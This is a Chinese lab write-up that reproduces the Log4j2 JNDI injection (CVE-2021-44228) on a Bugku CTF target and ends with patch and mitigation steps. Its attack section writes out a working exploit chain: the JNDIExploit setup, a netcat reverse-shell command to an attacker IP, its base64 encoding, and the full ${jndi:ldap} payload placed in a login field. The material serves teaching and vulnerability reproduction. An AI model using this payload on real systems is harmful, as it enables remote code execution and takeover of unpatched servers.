CVE-2021-44228 Log4j2 RCE漏洞复现验证及修复-靶场1

本次用ctf.bugku在线靶场,通过 JNDIExploit-1.2-SNAPSHOT.jar ,利过 ${jndi: ldap://x.x.x.x:1389/Basic/Command/Base64/[base64加密后命令 ]} 进行反弹shell。

一、漏洞介绍

1、漏洞简介

Apache Log4j2是一款优秀的Java日志框架。该工具重写了Log4j框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。由于Apache Log4j 2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。

此次漏洞主要是 Log4j2 内含的 lookup 功能存在 JNDI 注入漏洞,该功能可以帮助开发者通过一些协议读取相应环境中的配置。漏洞触发方式非常简单,只要日志内容中包含关键词 ${,那么这里面包含的内容就可以作为变量进行替换,攻击者无需任何权限,可以执行任意命令。

2、影响范围

受影响版本:Apache log4j2 2.0 ~ 2.15.0-rc1
安全版本:Apache log4j-2.17正式版或更新版本

同时如果使用了以下应用,也会被此次漏洞影响:

Spring-Boot-strater-log4j2
Apache Struts2
Apache Solr
Apache Flink
Apache Druid
ElasticSearch
flume
dubbo
logstash
kafka

二、靶场环境

1、靶场题目

地址 https://ctf.bugku.com/challenges/detail/id/340.html?page=1

2、攻击机

云服务器Centos7  198.211.8.165

关闭seliux和防火墙

三、安装java环境(如已有环境可省略)

1、安装jdk

rpm -ivh https://repo.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.rpm

查看安装结果

java -version

2、配置环境变量-用户环境变量

vi /etc/profile

export JAVA_HOME=/usr/java/jdk1.8.0_202-amd64
export JAVA_BIN=/usr/java/jdk1.8.0_202-amd64/bin
export PATH=$PATH:$JAVA_HOME/bin
export CLASSPATH=:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar
export JAVA_HOME JAVA_BIN PATH CLASSPATH

使配置生效

source /etc/profile

四、攻击利用

1、在云服务器下载工具并解压

yum install nc git -y
git clone https://github.com/black9/Log4shell_JNDIExploit.git

2、开启ldap和http服务监听

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 198.211.8.165 -p 8080

3、新开一个shell开启nc监听,等待反弹

4、进行jndi注入攻击

1)攻击思路

${jndi: ldap://x.x.x.x:1389/Basic/Command/Base64/[base64加密后命令 ]}

直接填写base64加密的反弹shell命令即可

nc x.x.x.x 12345 -e /bin/sh

2)对命令进行base64加密

base64编码网站 http://tool.chinaz.com/tools/base64.aspx

反弹shell命令:

nc 198.211.8.165 12345 -e /bin/sh

base64加密后:

bmMgMTk4LjIxMS44LjE2NSAxMjM0NSAtZSAvYmluL3No

3)把这条注入代码填到登陆的user框中, 密码随便填一个即可

完整的payload:

${jndi: ldap://198.211.8.165:1389/Basic/Command/Base64/bmMgMTk4LjIxMS44LjE2NSAxMjM0NSAtZSAvYmluL3No }

4)攻击工具的日志

5)说明成功反弹到了shell

输入 ls  cat flag 等命令即可执行

五、漏洞修复

Apache Log4j 远程代码执行漏洞自助处置手册 https://docs.qq.com/doc/DWENFT3ZjY1VnRG11

Log4j2 漏洞检测工具清单

https://mp.weixin.qq.com/s/8faCxZkp04RNFvXaZYhGFA

官方补丁

升级Apache Log4j所有相关应用到 Log4j-2.1 7 或更新的 官方稳定 版本。

补丁地址: https://logging.apache.org/log4j/2.x/download.html

缓解措施

  • 版本>=2.10.0, 修 改Java虚拟机启动参数,添加-Dlog4j2.formatMsgNoLookups=true

  • 版本>=2.10.0, 代码中配置System.setProperty(“log4j2.formatMsgNoLookups”, “true”),重新打包jar包

  • 移除log4j-core包中JndiLookup 类文件,并重启服务